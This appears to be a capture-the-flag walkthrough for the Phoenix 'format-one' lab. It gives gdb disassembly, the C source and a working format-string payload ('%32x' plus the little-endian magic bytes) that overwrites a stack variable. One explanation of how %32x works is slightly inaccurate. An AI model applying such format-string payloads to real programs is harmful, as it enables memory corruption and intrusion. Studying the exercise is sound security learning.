phoenix - format 1

3 minute read

Lets list the files using ls -la,

user@phoenix-amd64:~$ ls -la
total 28
drwxr-xr-x 2 user user 4096 Jun 11 07:20 .
drwxr-xr-x 3 root root 4096 Jan 13  2019 ..
-rw-r--r-- 1 user user  220 Jan 13  2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13  2019 .bashrc
-rw-r--r-- 1 user user  675 Jan 13  2019 .profile
-rwxr-xr-x 1 user user 6472 Jun 11 07:20 format-one

Lets check the file type of the binary using file command,

user@phoenix-amd64:~$ file format-one
format-one: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/ld-musl-x86_64.so.1, not stripped

So this binary is a not stripped binary

Lets try running it,

user@phoenix-amd64:~$ ./format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
monish
Uh oh, 'changeme' is not the magic value, it is 0x00000000

It seems like we have to store some address in changeme

Disassembling main(),

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004006ed <+0>:	push   rbp
   0x00000000004006ee <+1>:	mov    rbp,rsp
   0x00000000004006f1 <+4>:	sub    rsp,0x50
   0x00000000004006f5 <+8>:	mov    DWORD PTR [rbp-0x44],edi
   0x00000000004006f8 <+11>:	mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004006fc <+15>:	mov    edi,0x4007e0
   0x0000000000400701 <+20>:	call   0x400530 <puts@plt>
   0x0000000000400706 <+25>:	mov    rdx,QWORD PTR [rip+0x200433]        # 0x600b40 <stdin>
   0x000000000040070d <+32>:	lea    rax,[rbp-0x40]
   0x0000000000400711 <+36>:	mov    esi,0xf
   0x0000000000400716 <+41>:	mov    rdi,rax
   0x0000000000400719 <+44>:	call   0x400520 <fgets@plt>
   0x000000000040071e <+49>:	test   rax,rax
   0x0000000000400721 <+52>:	jne    0x400737 <main+74>
   0x0000000000400723 <+54>:	mov    esi,0x40082b
   0x0000000000400728 <+59>:	mov    edi,0x1
   0x000000000040072d <+64>:	mov    eax,0x0
   0x0000000000400732 <+69>:	call   0x400540 <errx@plt>
   0x0000000000400737 <+74>:	mov    BYTE PTR [rbp-0x31],0x0
   0x000000000040073b <+78>:	mov    DWORD PTR [rbp-0x10],0x0
   0x0000000000400742 <+85>:	lea    rdx,[rbp-0x40]
   0x0000000000400746 <+89>:	lea    rax,[rbp-0x30]
   0x000000000040074a <+93>:	mov    rsi,rdx
   0x000000000040074d <+96>:	mov    rdi,rax
   0x0000000000400750 <+99>:	mov    eax,0x0
   0x0000000000400755 <+104>:	call   0x400550 <sprintf@plt>
   0x000000000040075a <+109>:	mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040075d <+112>:	cmp    eax,0x45764f6c
   0x0000000000400762 <+117>:	je     0x40077a <main+141>
   0x0000000000400764 <+119>:	mov    eax,DWORD PTR [rbp-0x10]
   0x0000000000400767 <+122>:	mov    esi,eax
   0x0000000000400769 <+124>:	mov    edi,0x400840
   0x000000000040076e <+129>:	mov    eax,0x0
   0x0000000000400773 <+134>:	call   0x400510 <printf@plt>
   0x0000000000400778 <+139>:	jmp    0x400784 <main+151>
   0x000000000040077a <+141>:	mov    edi,0x400878
   0x000000000040077f <+146>:	call   0x400530 <puts@plt>
   0x0000000000400784 <+151>:	mov    edi,0x0
   0x0000000000400789 <+156>:	call   0x400560 <exit@plt>
End of assembler dump.

The compare instruction in this function is,

   0x000000000040075d <+112>:	cmp    eax,0x45764f6c

So the changeme value is being compared with 0x45764f6c

changeme is stored at $rbp-0x10

Lets view the source code for proper understanding,

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0x45764f6c) {
    printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
        locals.changeme);
  } else {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  }

  exit(0);
}

This challenge is same like before, but the key of the program lies in the below condition

if (locals.changeme != 0x45764f6c) {
    printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
        locals.changeme);
  } else {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  }

We have to pass 32 bytes in dest to reach changeme

Data for dest comes for buffer which is 16 bytes

So lets use format string vulnerability here,

To control the buffer space better, lets use %x (hex)

If we pass %32x it pops 32 hex values from stack

Similarly,

(gdb)  b *0x000000000040075a
Breakpoint 1 at 0x40075a

(gdb) r
Starting program: /home/user/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%32xABCD

Breakpoint 1, 0x000000000040075a in main ()

(gdb) x/s $rbp-0x10
0x7fffffffe660:	"ABCD\n"

(gdb)

So we have successfully overflowed the changeme with our input

Lets try exploiting this binary,

user@phoenix-amd64:~$ python -c "print '%32x'+'\x6c\x4f\x76\x45'"
%32xlOvE
user@phoenix-amd64:~$ python -c "print '%32x'+'\x6c\x4f\x76\x45'" | ./format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!

Done! We have completed “format-one”